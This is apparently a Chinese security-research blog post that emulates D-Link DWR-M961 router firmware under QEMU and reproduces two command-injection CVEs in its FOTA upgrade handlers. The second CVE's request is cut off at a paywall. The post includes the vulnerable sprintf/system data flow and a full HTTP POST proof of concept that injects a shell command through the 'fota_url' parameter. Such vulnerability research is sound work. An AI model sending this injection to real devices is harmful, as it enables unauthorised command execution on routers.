D-Link DWR-M961 漏洞复现

新发布hook漏洞分析
2026-08-17 12:23
5987

提取文件系统

下载固件

http://downloads.d-link.co.za/DWR/dwrm961/firmware/C1/DWR-M961_1.1.2_C1_202602110044.bin

binwalk解包

binwalk -Me binwalk -Me DWR-M961_1.1.2_C1_202602110044.bin

图片.png

启动项分析

架构: 32位MIPS

图片.png
检查保护

图片.png
开机到入口:设备上电后 U-Boot 加载 Linux 内核,内核跑起的第一个进程 /sbin/init。init 读/etc/inittab,其中 sysinit 项指向 /etc/init.d/rcS,这就是整个启动的入口。控制台登录由 inittab 里的 /bin/login负责,密码从 /var/shadow 验证,这个文件是 rcS 启动时从 /etc/shadow.sample 复制来的。

rcS 总控:rcS 是总脚本,分rcS、rcS_GW、rcS_GW_yilian三个。主要完成系统初始化挂载文件系统(proc、ramfs、yaffs2配置分区),创建/var下所有运行时目录(包括临时文件、日志、Web、DHCP、VPN、SMB、TR-069、UPnP、SNMP等);再把shadow、passwd、group、cwmp 等配置复制到 /var;然后做启动前校验并拉起外围服务,包括 CINIT=1 时执行 startup.sh 校验flash 配置、后台启动看门狗、加载无线模块;最后进入主初始化,调用 init.sh gw all 去启动 sysconf 主守护,配置好 br0 桥和IP,再前台启动 boa Web 服务器,执行 post_startup.sh。

配置校验:startup.sh 用 /bin/flash 工具对 flash上的硬件、蓝牙、客户、默认、当前五类配置做签名和校验和检查,非法就从备份或默认恢复。由于管理员密码也存flash,校验失败会恢复默认 admin/admin。

sysconf 主守护: 配置文件/bin/sysconf。它按 MIB 配置拉起各服务,包括boa、dnsmasq、udhcpc/udhcpd、ntp_inet、firewall.sh、snmpd.sh、syslogd、无线和 WAN 相关,同时负责 MIB读写和标志文件触发事件。

boa Web 服务:/bin/boa root 运行,配置在 /etc/boa/boa.conf,监听 80 端口,处理 /boafrm/表单、/quicksetup.cgi 和 /app/app.cgi,rcS 直接 boa;rcS_GW用 webs&。

固件模拟

环境依赖

先检查boa文件

ROOT=~/Desktop/squashfs-root
ls -l "$ROOT/bin/boa"
file "$ROOT/bin/boa"
readelf -h "$ROOT/bin/boa" | grep -iE "machine|class|data"
readelf -d "$ROOT/bin/boa" | grep NEEDED

图片.png

MIPS32位小端

复制qemu-mipsel-static、mipsel-linux-gnu-gcc、gdb-multiarch、binfmt_misc(qemu-mipsel 已注册)到当前目录

图片.png

确认 binfmt_misc 注册(boa 派生 CGI / 子进程时会 fork 出其他 MIPS 二进制,必须能被内核直接交给 qemu 执行)

尝试拉起服务

这里boa要用root权限起

sudo chroot "$ROOT" /bin/sh -c "
echo 'root:x:0:0:root:/root:/bin/sh' >> /etc/passwd
echo 'root::0:0:root:/root:/bin/sh' >> /etc/passwd
"
ROOT=$PWD 
sudo cp /usr/bin/qemu-mipsel-static "$ROOT/usr/bin/"
sudo chroot "$ROOT" /usr/bin/qemu-mipsel-static /bin/boa

图片.png

boa启动第一件事就是 apmib_init()/dev/mtdblock0 读 hw setting / DS / CS 配置区,校验 "H6" 签名、版本、校验和,chroot 用户态没有 flash 所以失败

所以应该用hook去顶替libapmib,让函数运行成功

编写 hook 桩库

typedef unsigned int u32;
int pMib;                     
int pMibDef;                   
int pHwSetting;                
int pCustomerHwSetting;        
int wlan_idx;                  
int vwlan_idx;                 
int wlan_idx_bak;              
int vwlan_idx_bak;             
int compress_hw_setting;       
char mib_root_table[136];      
char hwmib_root_table[136];    
char customer_hwmib_root_table[136]; 

int apmib_init(void)  { return 1; }
int apmib_reinit(void) { return 1; }
int apmib_get(int id, void *value)
{
    if (value) {
        volatile unsigned char *p = (volatile unsigned char *)value;
        p[0] = 0; p[1] = 0; p[2] = 0; p[3] = 0;
    }
    (void)id;  // 防止编译器警告:参数 id 未使用
    return 1;
}

int apmib_get_wlan(int id, void *value)
{
    return apmib_get(id, value);
}

int apmib_set(int id, void *value)
{
    (void)id; (void)value;
    return 1;
}

int apmib_update(int type) { (void)type; return 1; }
int apmib_updateFlash(int type) { (void)type; return 1; }

int apmib_sem_lock(void)   { return 1; }
int apmib_sem_unlock(void) { return 1; }

int flash_read_raw_mib(void *p)  { (void)p; return 1; }
int flash_write_raw_mib(void *p) { (void)p; return 1; }

int mib_search_by_id(int a1, int a2, void *a3, void *a4, void *a5)
{
    (void)a1; (void)a2; (void)a3; (void)a4; (void)a5;
    return 0;
}

int getWANMibIdByName(char *name) { (void)name; return 0; }

int getVPNMibIdByName(char *name) { (void)name; return 0; }

int swapWLANIdxForCwmp(int idx)   { return idx; }

int save_cs_to_file(void) { return 1; }  // 保存当前设置到文件
int set_timeZone(void)    { return 0; }  // 设置时区:返回 0(失败)

int update_tblentry(void *a, int b, void *c)
{
    (void)a; (void)b; (void)c;
    return 1;
}

图片.png

编译(必须在 squashfs-root 的 lib/ 目录存在的前提下):

 mipsel-linux-gnu-gcc -shared -fPIC -nostdlib \
      -o "$R/lib/libapmib.so" "$R/_analysis/apmib_shim.c"
  • -shared -fPIC:编成动态库
  • -nostdlib:不依赖 libc,保证能安全 preload 进 uClibc 进程
  • 直接编成libapmib.so方便替换

布置chroot

cp /usr/bin/qemu-mipsel-static "$ROOT/usr/bin/"
sudo mount -t proc proc "$ROOT/proc"
mountpoint -q "$ROOT/proc" && echo "proc 已挂载"

启动boa

ashfs-root$
sudo chroot "$ROOT" /usr/bin/qemu-mipsel-static \
    -E LD_PRELOAD=/lib/apmib_shim.so /bin/boa -d

成功标志(看到这五行就是通了):

Enabling OpenSSL security system
Loaded SSL certificate file: /etc/certificate.crt
Opened private key file: /etc/privateKey.key
boa: server version Boa/0.94.14rc21
boa: starting server pid=XXXX, port 80

图片.png

一键启动脚本

cat > "$ROOT/_analysis/run_boa.sh" <<'EOF'
#!/bin/bash
# 用法: sudo ./_analysis/run_boa.sh [-g|-s|-h]
set -u
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
SHIM_SRC="$ROOT/_analysis/apmib_shim.c"
SHIM_SO="$ROOT/lib/apmib_shim.so"

# 1. 编译桩库(源码比产物新才重编)
if [ ! -f "$SHIM_SO" ] || [ "$SHIM_SRC" -nt "$SHIM_SO" ]; then
    echo "[*] 编译 apmib_shim.so"
    mipsel-linux-gnu-gcc -shared -fPIC -nostdlib -o "$SHIM_SO" "$SHIM_SRC" || exit 1
fi

# 2. qemu 用户态二进制放进 chroot
[ -x "$ROOT/usr/bin/qemu-mipsel-static" ] || cp /usr/bin/qemu-mipsel-static "$ROOT/usr/bin/"

# 3. 挂载 /proc
if ! mountpoint -q "$ROOT/proc"; then
    echo "[*] mount -t proc proc $ROOT/proc"
    mount -t proc proc "$ROOT/proc" || exit 1
fi

MODE="${1:-}"
case "$MODE" in
    -g) echo "[*] boa 启动中 (gdbstub :1234, -d 前台模式)..."
        exec chroot "$ROOT" /usr/bin/qemu-mipsel-static -g 1234 \
             -E LD_PRELOAD=/lib/apmib_shim.so /bin/boa -d ;;
    -s) echo "[*] boa 启动中 (strace -> /boa_strace.log)..."
        rm -f "$ROOT/boa_strace.log"
        exec chroot "$ROOT" /usr/bin/qemu-mipsel-static -strace -D /boa_strace.log \
             -E LD_PRELOAD=/lib/apmib_shim.so /bin/boa -d ;;
    *)  echo "[*] boa 启动中 (前台, -d 模式)..."
        exec chroot "$ROOT" /usr/bin/qemu-mipsel-static \
             -E LD_PRELOAD=/lib/apmib_shim.so /bin/boa -d ;;
esac
EOF
chmod +x "$ROOT/_analysis/run_boa.sh"
sudo "$ROOT/_analysis/run_boa.sh"     # 一键启动

图片.png

CVE-2026-71944

formLtefotaUpgradeQuectel 组件 fota_url 参数命令注入

漏洞描述

/boafrm/formLtefotaUpgradeQuectel 处理器在 Quectel FOTA 升级功能中,对 fota_url 参数仅做"长度 <0x191 + strstrhttp:///https:///ftp:// 子串"两个弱检查,随后 sprintf 拼入 system(),可注入任意命令。

漏洞详情

受影响组件: /boafrm/formLtefotaUpgradeQuectel

受影响函数: sub_4163E0

数据流向:

获取输入sub_4102DC(a1, "fota_url", &dword_4A498C)(URL 解码,无字符过滤)

调用过滤strlen(v3) < 0x191且 strstr(v3,"http://") || "https://" || "ftp://"

危险拼接`sprintf(v7, "/var/upgrade_quectel %s&", v3)`

命令执行`system(v7)` 

图片.png

请求包

图片.png

POST /boafrm/formLtefotaUpgradeQuectel HTTP/1.1

Host: 127.0.0.1

sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"

sec-ch-ua-mobile: ?0

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36

sec-ch-ua-platform: "Linux"

Accept: */*

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: script

Referer: http://127.0.0.1/boafrm/formLoginSetup

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

Cookie: lang_sel=true; i18next=zh_CN; lstatus=true; token=D45FC714C57D27E30E3EFA1350ACF85D; webuicookie=fV4RRVUfxci/gsb08qQXpsis

Connection: close

Content-Length: 69



fota_url=http://a;echo PWNED44>/var/tmp/pwn44&submit-url=/cpefota.htm

图片.png

CVE-2026-71945

formLtefotaUpgradeFibocom 组件 fota_url 参数命令注入

漏洞描述

/boafrm/formLtefotaUpgradeFibocom 处理器与 CVE-2026-71944 同型,但存在模板 at-cmd 'AT+GTSET="CALLBREAK",1'; upgrade_fibocom %s& 而且自带分号。

漏洞详情

受影响组件: /boafrm/formLtefotaUpgradeFibocom

受影响函数: sub_4166C8

数据流向:

获取输入fota_url

检查(strlen<0x191)

拼接sprintf(v7, "at-cmd 'AT+GTSET=\"CALLBREAK\",1'; upgrade_fibocom %s&", v4)

命令执行system

图片.png

请求包

图片.png

POST /boafrm/formLtefotaUpgradeFibocom HTTP/1.1

Host: 127.0.0.1

sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"

sec-ch-ua-mobile: ?0

User-Agent:

试读结束,发布七天后转为公开

公开时间:2026年8月24日 12:23:10

提前解锁全文,需花费 50 积分

登录解锁全文
分享到

参与评论

0 / 200

全部评论 3

皮皮先生的头像
wc ,挖了这么多cve
2026-08-17 12:50
Legion_的头像
dddd
2026-08-17 12:47
烟雨江叶的头像
weimin神了
2026-08-17 12:47
投稿
签到
联系我们
关于我们